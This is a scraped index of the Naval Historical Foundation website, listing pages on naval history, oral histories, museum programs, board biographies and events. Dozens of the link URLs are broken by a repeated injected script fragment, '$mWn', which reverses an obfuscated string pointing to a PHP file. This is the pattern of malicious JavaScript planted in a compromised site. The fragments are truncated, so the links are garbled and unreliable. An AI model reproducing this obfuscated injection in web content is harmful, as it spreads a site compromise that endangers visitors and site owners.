- [Naval Documents of the American Revolution](https://navyhistory.org/naval-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/)
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- [Vice Admiral Robert F. Dunn NROTC History Prizes](https://navyhistory.org/vice-admiral-dunn-nrotc-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - VADM Robert F. Dunn Prizes recognize and reward midshipmen who show future promise as naval officers and encourage all midshipmen to value history and heritage as part of ethos
- [History](https://navyhistory.org/about/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - This brief history of the Naval Historical Foundation tells the story of the non-profit organization founded in 1926 to help preserve naval history.
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- [List of Chiefs of Naval Operations (CNO)](https://navyhistory.org/list-of-chiefs-of-naval-operations-cno/) - Admiral William S. Benson (1915-1919)Admiral Robert E. Coontz (1919-1923)Admiral Edward W. Eberle (1923-1927)Admiral Charles F. Hughes (1927-1930)Admiral William V. Pratt (1930-1933)Admiral William H. Standley (1933-1937)Fleet Admiral William D. Leahy (1937-1939)Admiral Harold R. Stark (1939-1942)Fleet Admiral Ernest J. King (1942-1945)Fleet Admiral Chester W. Nimitz (1945-1947)Admiral Louis E. Denfeld (1947-1949)Admiral Forrest P. Sherman (1949-1951)Admiral William M. Fechteler
- [Diversity in the U.S. Navy](https://navyhistory.org/diversity-in-the-u-s-navy/) - Women in the U.S. Navy African Americans in the U.S. Navy Hispanics in the U.S. Navy Native Americans and Alaskan Natives in the U.S. Navy LGBTQ+ in the U.S. Navy
- [LGBTQ+ in the U.S. Navy](https://navyhistory.org/lgbtq-in-the-u-s-navy/) - The Department of Defense has made a lasting commitment to living the values we defend—to treating everyone equally—because we need to be a meritocracy. We have to focus relentlessly on our mission, which means the thing that matters most about a person is what they can contribute to national defense. —Ashton Carter, 9 June 2015 (Secretary of
- [Hispanic Americans in the U.S. Navy](https://navyhistory.org/hispanic-americans-in-the-u-s-navy/) - As of June 2018, approximately 59,000 active and Reserve Sailors of Hispanic heritage serve in the U.S. Navy contributing to the strength of the nation’s force. Hispanic Americans’ military service dates back to the Civil War. The tradition of observing Hispanic heritage began in 1968, when President Lyndon B. Johnson designated a week in mid-September
- [African Americans in the U.S. Navy](https://navyhistory.org/african-americans-in-the-u-s-navy/) - "Today’s African American Sailors stand proudly knowing the accomplishments of their predecessors, including the eight black Sailors who earned the Medal of Honor during the Civil War; Dick Henry Turpin, one of the survivors of the explosion aboard the battleship Maine; and the 14 black female yeomen who enlisted during World War I. The Navy planted the seeds
- [Medal of Honor Recipients](https://navyhistory.org/medal-of-honor-recipients/) - "The Navy and Marine Corps' Medal of Honor is our country's oldest continuously awarded decoration, even though its appearance and award criteria has changed since it was created for enlisted men by Secretary of the Navy Gideon Welles on 16 December 1861. Legislation in 1915 made naval officers eligible for the award. Although originally awarded
- [Women in the U.S. Navy](https://navyhistory.org/women-in-the-u-s-navy/) - “The first women to serve in the U.S. Navy were nurses, beginning with the “Sacred Twenty” appointed after Congress established the Navy Nurse Corps on 13 May 1908. The first large-scale enlistment of women into the Navy met clerical shortages during World War I, and the second came months before the United States entered World
- [Navy Art Reproductions](https://navyhistory.org/navy-art-reproductions/) - About Navy Art Reproductions: As imaging technology has advanced and funds have become available, the Navy Art Collection curators have systematically contracted for the creation of high resolution digital images of the 20,000 plus artworks within the collection. With generous grant support from the Cincinnati Financial Group, the Naval Historical Foundation was able to fund
- [Photographs](https://navyhistory.org/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/pho<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - The Naval Historical Foundation offers a photo reproduction service for historic photographs from the collection of the Naval History and Heritage Command
- [Donating Historic Items](https://navyhistory.org/contribute/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - Information from the Naval Historical Foundation on donating historical items such as photographs, uniforms, books, paperwork, and other physical artifacts
- [Dr. J. Phillip London](https://navyhistory.org/dr-j-phillip-lon<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - Other Directors Dr. J. Phillip “Jack” London is Executive Chairman and Chairman of the Board of CACI International Inc (NYSE), a $4.3 billion information technology and professional services company, employing 20,000 employees in 130 offices worldwide. London joined CACI in 1972, and previously served as President and Chief Executive Officer from 1984 to 2007. London is
- [The Honorable Steven S. Honigman](https://navyhistory.org/the-honorable-steven-s-honigman/) - Other Directors Maurice a. Gauthier CEO, PRESIDENT, COO BOARD OF DIRECTORS Mr. Gauthier was appointed Chief Executive Officer, President and Chief Operating Officer of VSE Corporation in April of 2008, and was appointed to the Board of Directors in February of 2009. VSE is a publicly traded, Technical Services Company based in Alexandria, VA. Mr.
- [Mr. Martin J. Bollinger](https://navyhistory.org/mr-martin-j-bollinger/) - Vice President Mr. Bollinger retired in 2013 as a Senior Partner after a long career in management consulting with Booz Allen Hamilton and its commercial spin-off Booz & Company. For almost 30 years Mr. Bollinger consulted to senior executives in the aerospace and defense industry on issues of business strategy, organizational effectiveness and operational efficiency.
- [President: Arthur N. Langston, III, USN (Ret.)](https://navyhistory.org/president-arthur-n-langs<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/re/) - Vice President, Strategy & Business Development, Public Sector North America at Salesforce Bud Langston leads SalesForce Public Sector government strategy and Business Development Group. He is responsible for major strategic accounts within Federal/DOD, State & Local, provincial governments and Aerospace & Defense. He joined SalesForce in 2016 after 16 years at Oracle Corporation, and 30
- [Chairman: Admiral William J. Fallon, United States Navy (Retired)](https://navyhistory.org/chairman-admiral-william-j-fallon-united-states-navy-retired/) - Bio of NHF Chairman Admiral William J. Fallon, USN (Ret.)
- [Historical Services](https://navyhistory.org/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Through a combination of in-house staff and external partners, NHF can provide solutions for reproductions of photographs, cruise books, and paper documents
- [Planned Giving](https://navyhistory.org/contribute/planned-giving/) - Planned giving to the Naval Historical Foundation ensures ahead of time that your donation will be used in support of naval history programs for years to come
- [Used Books](https://navyhistory.org/programs/used-book/) - NHF announces that affordably priced used books on naval and military history are available every day at the Museum Store at the National Navy Museum in DC
- [Navy Museum Store](https://navyhistory.org/navy-museum/navy-museum-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - The Navy Museum Store at Washington Navy Yard carries a wide variety of merchandise celebrating the history of the US Navy and the United States Marine Corps
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- [Speakers](https://navyhistory.org/programs/speakers/) - Naval Historical Foundation has assembled an expert group of authors, historians and navy retirees available to speak around the country on naval history topics
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- [Oral History Index](https://navyhistory.org/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - This page has a detailed index of U.S. Navy oral histories documented by the Naval Historical Foundation
- [Partners](https://navyhistory.org/programs/partners/) - The Naval Historical Foundation has partnered with numerous museums, associations, and non-profit organizations to further our mission to promote naval history
- [<em>Other Reviews</em>](https://navyhistory.org/other-reviews/) - From time to time, we publish reviews of films or television shows we think fans of naval history will enjoy. In Summer, 2018 the Smithsonian Channel ran a series called "The Pacific War in Color," which was reviewed by one of our members. For more information about the series, click here. Enjoy! Episode 1
- [VADM James H. Doyle, Jr. (Ret.)](https://navyhistory.org/vadm-james-h-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - It is with sadness that NHF notes the passing of Retired Vice Admiral James H. Doyle, Jr., on February 23, 2018. Vice Admiral Doyle was a graduate of the United States Naval Academy and the George Washington School of Law. Over the course of his career he became an expert on maritime law and on military
- [Admiral James L. Holloway III Society](https://navyhistory.org/admiral-james-l-holloway-iii-society/) - The Admiral James L. Holloway III Society established by the Naval Historical Foundation to recognize individuals that donate or formally pledge to give $100,000 or more to NHF
- [USS Bugara: The Third War Patrol](https://navyhistory.org/bugara-third-war-patrol/) - An interactive mapping of Bugara's historic third war patrol.
- [Life on "The Bug" - Rediscovering Naval History Podcasts](https://navyhistory.org/life-on-the-bug-rediscovering-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-s/) - The following interviews were conducted in August 2017 with Bob Fleck and Pete Smith, and are including in our first installments of the "Rediscovering Naval History" Podcasts on Soundcloud. 
- [Victory at Sea - 2017 Events](https://navyhistory.org/vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - 2017 Victory at Sea Expedition Events
- [Victory at Sea](https://navyhistory.org/vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Interactive and thought-provoking content about the men and machines that fought in World War II.
- [Victory at Sea - WWII Events](https://navyhistory.org/vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Interactive and Thought-provoking WWII content about the U.S. Navy.
- [Ship Reunion Signup](https://navyhistory.org/reunions/) - Loading...
- [Post #18657](https://navyhistory.org/post-18657/) - Naval History Book Reviews Admiral Frank H. Schofield: A Portrait in Letters of an American Navy Family (1886-1942) Faces of the Civil War Navies: An Album of Union and Confederate Sailors Implacable Foes, War in The Pacific, 1944-1945 Popular Posts Don't Wash That Coffee Mug! Frequently Asked Questions View Our Latest Video Series
- [Post #18653](https://navyhistory.org/post-18653/)
- [NHF Sink or Swim 2017](https://navyhistory.org/nhf-sink-or-swim-2017/) - Every year, the Naval Historical Foundation likes to blend a little naval history into the spirit of NCAA March Madness. During the tournament, we have carefully selected thematic events, ships, and planes of the United States Navy for our fans on social media to vote as their favorite. This year, you will help us decide
- [Eyewitness to USS <em>Independence</em>: Audio Resources](https://navyhistory.org/eyewitness-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Audio Oral History Resources for the USS Independence Project.
- [Eyewitness to USS <em>Independence</em>: Oral History](https://navyhistory.org/eyewitness-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - On 25 July 2016, NHF Vector Volunteer Mr. Peter Doolan of Salesforce conducted an interview with RADM M. Dick Van Orden inside the National Museum of the United States Navy's Cold War Gallery. RADM Van Orden specifically discussed his experiences serving as a gunnery officer aboard USS Independence during the Second World War. The following
- [Eyewitness to USS <em>Independence</em>](https://navyhistory.org/eyewitness-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/)
- [USS <em>Independence</em> Historical Timeline](https://navyhistory.org/uss-independence-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - The fourth Independence (CVL 22), which began as the light cruiser USS Amsterdam (CL 59) was launched in August 1942 and commissioned in January 1943. Independence represented the first of a new class of carriers built on converted cruiser hulls. She joined the Pacific Fleet in June 1943. She participated in attacks on Rabaul, Tarawa, Luzon, and
- [USS <em>Independence</em>: History](https://navyhistory.org/uss-independence-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - Rediscovering USS Independence Project
- [Rediscovering USS <em>Independence</em>](https://navyhistory.org/rediscovering-uss-independence/) - On 22 August 2016, National Geographic Explorer Dr. Bob Ballard and E/V Nautilus, in cooperation with NOAA's Office of National Marine Sanctuaries, will begin a series of exploratory dives on USS Independence off the coast of San Francisco. Together with the Naval Historical Foundation, never before seen videos, images and eye-witness interviews will honor the
- [Spinning a Yarn: Stories of Service](https://navyhistory.org/spinning-a-yarn/) - Tell us your personal stories of honor, courage, and commitment.
- [Become a Vector Volunteer](https://navyhistory.org/become-a-vec<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - We are assembling a volunteer cadre of energetic enthusiasts willing to spend time helping us partner with deep sea exploration that enables us to rediscovers naval history and actively supports our mission of preservation, education and commemoration. Our goal is to begin a new expanded global dialog about the maritime domain and inspire a new
- [Vector Volunteer](https://navyhistory.org/vec<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - We are assembling a volunteer cadre of energetic enthusiasts willing to spend time helping us partner with deep sea exploration that enables us to rediscovers naval history and actively supports our mission of preservation, education and commemoration. Our goal is to begin a new expanded dialog about the maritime domain and inspire a new generation
- [Rear Admiral John T. Mitchell, Jr., United States Navy (Retired)](https://navyhistory.org/rear-admiral-john-t-mitchell-usn-ret/) - Biography of Naval Historical Foundation President Rear Admiral John T Mitchell, USN (Ret)
- [Commemorative Events](https://navyhistory.org/programs/commemorative-events/) - The Naval Historical Foundation sponsors and co-sponsors commemorative events to honor key moments in naval history
- [Naval History is](https://navyhistory.org/navalhis<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Loading...
- [Display Ship <em>Barry</em> Virtual Tour](https://navyhistory.org/navy-museum/display-ship-barry-virtual-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - Display Ship Barry Virtual Tour
- [Members Page](https://navyhistory.org/members-page/) - This is so exclusive. SOOOOO EXCLUSIVE. You Should log in here. [wpmem_form login] You have successfully logged in. Welcome NHF Member. [/wpmem_form] [wpmem_form register] This displays when logged in [/wpmem_form]
- [Navy Women on Ships: A Deployment to Equality](https://navyhistory.org/navy-women-on-ships-a-deployment-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/s/) - The following is a publication written by ITCM James L. Leuci, USN. You can read the e-book by clicking through the pages below or by going to our ISSUU site HERE. The publication is available for download on the site. Just click on the share button and hit “download.”
- [Navy Art Collection Digitization](https://navyhistory.org/navy-art-collection/) - Background to the Project The United States Navy has documented its wars, military operations, explorations and routine seaborne and airborne activities via artwork since before World War I. The Navy’s historic art collection (which is the responsibility of the Director of the Naval History and Heritage Command (NHHC), acting as Curator of the Navy)
- [NACAL Navy Art Gallery Image Collection](https://navyhistory.org/nacal-navy-art-gallery-image-collection/) - Click on an image below to view its corresponding gallery of images. Over 600 images from the NACAL collection are divided alphabetically by artist last name. To return to the Navy Art Digitization Collection main page, go HERE.
- [NACAL Art Gallery Three](https://navyhistory.org/nacal-art-gallery-three/) - The third of three galleries displaying paintings digitally reproduced from the Navy Art Cooperation and Liaison Committee (NACAL) Art Project, courtesy of a generous donation by the Cincinnati Insurance Company.
- [NACAL Art Gallery Two](https://navyhistory.org/nacal-art-gallery-two/) - The second of three galleries displaying paintings digitally reproduced from the Navy Art Cooperation and Liaison Committee (NACAL) Art Project, courtesy of a generous donation by the Cincinnati Insurance Company.
- [NACAL Art Gallery One](https://navyhistory.org/nacal-art-gallery-one/) - The first of three galleries displaying paintings digitally reproduced from the Navy Art Cooperation and Liaison Committee (NACAL) Art Project, courtesy of a generous donation by the Cincinnati Insurance Company.
- [Fleet Admirals, US Navy](https://navyhistory.org/fleet-admirals-us-navy/) - In these short summaries, the careers of four US Navy Five Star Admirals, the Naval Historical Foundation attempts to point out the types of duties they performed
- [NHF  Flix: A New Way to Sea Naval History](https://navyhistory.org/nhf-flix/) - Movie Reviews for the Naval Historian in Mind.
- [NHF Sink or Swim 2015](https://navyhistory.org/nhf-sink-or-swim-2015/) - It's March Madness time. Which plane will be crowned the best in the history of the U.S. Navy?
- [CPO 365: Chief Petty Officer Initiations](https://navyhistory.org/cpo-365-initiations/) - A publication on CPO Initiations by ITCM James L. Leuci.
- [Violent Skies: The Air War Over Vietnam](https://navyhistory.org/violentskies/) - Violent Skies: The Air War Over Vietnam A Symposium Proposed for October 2015 Four military service historical foundations—the Air Force Historical Foundation, the Army Historical Foundation, the Marine Corps Heritage Foundation, and the Naval Historical Foundation—recognize that a half century has passed since the United States became militarily engaged in Southeast Asia, and hope to
- [Ready Then, Ready Now, Ready Always: More than a Century of Service by Citizen Sailors](https://navyhistory.org/ready-then-ready-now-ready-always-more-than-a-century-of-service-by-citizen-sailors/) - Ready Then, Ready Now, Ready Always: More than a Century of Service by Citizen Sailors coincides with the centennial anniversary of the U.S. Navy Reserve on March 3, 2015. However, as the title indicates, Americans have been leaving their civilian occupations since the birth of the Navy in 1775 to serve the nation at sea
- [test](https://navyhistory.org/test/) - test test
- [](https://navyhistory.org/by-the-gouge-vol1-issue1/) - Please click on the images below to read the blog stories:
- [2014 Annual Event Materials](https://navyhistory.org/2014-annual-event-materials/) - Thank you for joining us at the 2014 NHF Annual Meeting. The following documents are available to download and read at your leisure prior to 14 June. We encourage you to print out copies for yourself to bring to the meeting. 2014 Annual Meeting Agenda NHF 2013 Annual Meeting Minutes Click HERE for the 2013
- [NHF Tweets The Battle of Midway: ORDER OF BATTLE](https://navyhistory.org/nhf-tweets-the-battle-of-midway-order-of-battle/) - Use this Order of Battle from the American and Japanese Fleets at the Battle of Midway as a guide through our interactive social media experiment, NHF Tweets Midway. Click on the links below to follow the stream of each hashtag.
- [SINK OR SWIM 2014 Ship Bracket Competition](https://navyhistory.org/sink-or-swim-2014-ship-bracket-competition/) - CLICK THE IMAGE ABOVE FOR A LARGER VIEW. It's that time of the year - BRACKET TIME! What better way to celebrate "March Madness" than with some of the most celebrated ships in naval history! We will be posting this bracket on the dates shown above for you to vote on our FACEBOOK page.
- [](https://navyhistory.org/13934/) - COMMEMORATIVE EVENTS Midway Dinner and Anniversary Navy Birthday Celebration Submarine Force Birthday History Seminar DC War of 1812 Commemoration Midway Dinner In 1999, the Chief of Naval Operations sent a message to the fleet directing the annual commemoration of two significant events in our proud naval history—the birth of our Navy on 13 October 1775,
- [Oral History - Admiral Kinnaird McKee, USN](https://navyhistory.org/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Admiral Kinnaird McKee, USN (Photo ID: DN-SC-86-01010)Admiral McKee was born in Louisville, Kentucky in 1929. He graduated from the Naval Academy in 1951. His first duty station was in USS Marshall (DD 676) serving as a unit of Task Forces 77 and 95 during the Korean War. He completed submarine training in 1953 and went
- [STEM-H Teacher Fellowships](https://navyhistory.org/programs/stem-teacher-fellowships/) - The Naval Historical Foundation offers STEM-H Teacher Fellowships to qualified teachers. Teachers come to the Navy Museum in DC for 2 weeks each summer.
- [Battle of Lake Erie: Building the Fleet  in the Wilderness](https://navyhistory.org/battle-of-lake-erie-building-the-fleet-in-the-wilderness/) - The story of the great U.S. Navy victory over the British on Lake Erie during the War of 1812
- [History Pamphlets](https://navyhistory.org/publications/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Throughout the Foundation’s long existence, we’ve published a number of pamphlets on a wide variety of topics in naval history. We began publishing our pamphlet series in the early 1960's. In total, nearly three dozen pamphlets were published, and we continue to republish selected copies as needed. Some of the pamphlets were original works of
- [Publications](https://navyhistory.org/publications/) - The Naval Historical Foundation regularly produces a variety of print and multimedia publications about naval history and the Foundation's work
- [2014 “The Navy” Art Calendar](https://navyhistory.org/publications/2014-the-navy-art-calendar/) - The 2014 Naval Historical Foundation “The Navy” art calendar is now available for purchase. It features artwork covering 239 years of Navy and Marine Corps action.
- [Oral History - Rear Admiral Kenneth E. Wilson, Jr.](https://navyhistory.org/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - The Oral History of Rear Admiral Kenneth Wilson, Jr.,cruiser USS Juneau, submarine USS Gudgeon, tender USS Proteus, Polaris, Pearl Harbor Naval Shipyard, NAVSEA
- [Oral History - Rear Admiral Chester W. Nimitz, Jr.](https://navyhistory.org/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - The Oral History of Rear Admiral Chester W. Nimitz, Jr., including USS Indianapolis, USS Sturgeon, USS Bluefish, USS Haddo, torpedoes.
- [Oral History - Rear Admiral Mack C. Gaston](https://navyhistory.org/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Oral History of Rear Admiral Mack Gaston, Surface Warfare Officer, USS Josephus Daniels, Defense Nuclear Agency, Naval Training Center Great Lakes, Tuskegee University
- [Oral History - Vice Admiral Marmaduke G. Bayne, USN](https://navyhistory.org/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Oral History of Vice Admiral Marmaduke Bayne, World War II, submariner (USS Becuna, USS Piper, USS Trigger), National War College
- [Oral History - Admiral William J. Crowe, Jr., USN](https://navyhistory.org/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Oral History of Admiral William Crowe, submariner (USS Carmick, USS Clamagore, USS Wahoo, USS Trout) Chairman Joint Chiefs of Staff
- [Commodore Dudley W. Knox Lifetime Achievement Award Nomination Form](https://navyhistory.org/commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - Online nomination form, the Commodore Dudley W. Knox Award, which recognizes an individual for a lifetime body of work in the field of U.S. naval history.
- [The <em>Constitution</em> Gun Deck](https://navyhistory.org/the-constitution-gun-deck/) - Learn about the equipment and sailors on the gun deck of the historic frigate USS Constitution
- [Samoan Hurricane](https://navyhistory.org/samoan-hurricane/) - This manuscript on the hurricane that occurred in Samoa on 15, 16, and 17 March 1889, was written by RADM L. A. Kimberly, sometime after the hurricane occurred.
- ["I Have Not Yet Begun to Fight," The Continental Navy](https://navyhistory.org/i-have-not-yet-begun-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - This 1965 Naval Historical Foundation pamphlet is a selection of pictures, ballads, and administrative correspondence relating to the Continental Navy
- [Training Ships](https://navyhistory.org/training-ships/) - Naval Historical Foundation Publication, 2 January 1964, from article written by Captain Stephen B. Luce, USN, in 1879 as published in United Service Magazine
- [Rules for the Regulation of the Navy of the United Colonies of North America](https://navyhistory.org/rules-for-the-regulation-of-the-navy-of-the-united-colonies-of-north-america/) - The first printed document relating to the United States Navy forming as it does the basis by which the service has been continuously governed since 1775, it is also of primary importance in the history of the Navy
- [Official Report of Flag Officer Franklin Buchanan: CSS <em>Virginia</em> vs USS <em>Monitor</em>](https://navyhistory.org/official-report-flag-officer-franklin-buchanan-css-virginia-vs-uss-moni<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n]/) - Official Report of Flag Officer Franklin Buchanan of the Confederate States Navy Covering the Engagement between CSS Virginia vs USS Monitor
- [The <em>Constitution</em> Fighting Top](https://navyhistory.org/the-constitution-fighting-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - The story behind the fighting top of the USS Constitution, on display at the Navy Museum in Washington DC
- [Cold War Gallery](https://navyhistory.org/navy-museum/cold-war-gallery/) - The Cold War Gallery, part of the National Navy Museum at Washington Navy Yard, recognizes the Honor, Courage, and Commitment of those who served and sacrificed
- [2013 "The Navy" Art Calendar](https://navyhistory.org/publications/2013-the-navy-art-calendar/) - The 2013 Naval Historical Foundation “The Navy” art calendar is now available for purchase. It features artwork covering 238 years of Navy and Marine Corps action. The calendar is a tribute to the men and women who have fought to protect our nation, to deter aggression, and to maintain freedom of the seas. It also
- [2012 Navy Calendar](https://navyhistory.org/2012-navy-calendar/) - The 2012 Naval Historical Foundation "The Navy" calendar is now available for purchase. It features artwork covering 237 years of Navy and Marines Corps action
- [Vice Admiral Robert Francis Dunn, United States Navy (Retired)](https://navyhistory.org/vice-admiral-robert-francis-dunn-united-states-navy-retired/) - A biograpy of former Naval Historical Foundation President Vice Admiral Robert Dunn, United States Navy (Retired)
- [Chairman: Admiral Bruce DeMars, United States Navy (Retired)](https://navyhistory.org/admiral-bruce-demars-united-states-navy-retired/) - A biograpy of Naval Historical Foundation Chairman Admiral Bruce DeMars, United States Navy (Retired)
- [War of 1812 Bicentennial Commemorative Medal](https://navyhistory.org/programs/war-of-1812-bicentennial-medal/) - The US sea services War of 1812 Bicentennial Medal / Challenge Coin is sponsored by the Naval Historical Foundation and produced by Northwest Territorial Mint
- [2012 NHF Annual Meeting Registration](https://navyhistory.org/2012-nhf-annual-meeting-registration/) - Please register for the 2012 Naval Historical Foundation Annual Meeting Registration, to be held 23 June at the Washington Navy Yard
- [Navy Museum](https://navyhistory.org/navy-museum/) - NHF supports the National Navy Museum as well as its Cold War Gallery. We manage fundraising campaigns to construct new exhibits and fund programs and lectures
- [National Museum of the United States Navy](https://navyhistory.org/navy-museum/national-museum-of-the-united-states-navy/) - The National Navy Museum collects, preserves, displays, and interprets historic artifacts and artwork to inform, educate, and inspire the Navy and the public
- [International Journal of Naval History](https://navyhistory.org/publications/international-journal-of-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - The International Journal of Naval History provides a pre-eminent forum for works of naval history researched and written to demonstrable academic standards.
- [Vehicle Donation](https://navyhistory.org/contribute/vehicle-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - A free, convenient service for converting that extra car, truck, or RV into a tax deductable donation benefiting Naval Historical Foundation.
- [Events](https://navyhistory.org/event/) - The Naval Historical Foundation publishes an online calendar of naval history events around the United States
- [US Navy Heritage Mini-Series Videos](https://navyhistory.org/publications/us-navy-heritage-mini-series-videos/) - The US Navy Heritage Mini-Series is a collection of short videos showing key moments in naval history, and is available for viewing online

## Events

- [Celebrating the Centennial of Naval Carrier Aviation Five-Star Mess Night](https://navyhistory.org/event/celebrating-the-centennial-of-naval-carrier-aviation-five-star-mess-night/)
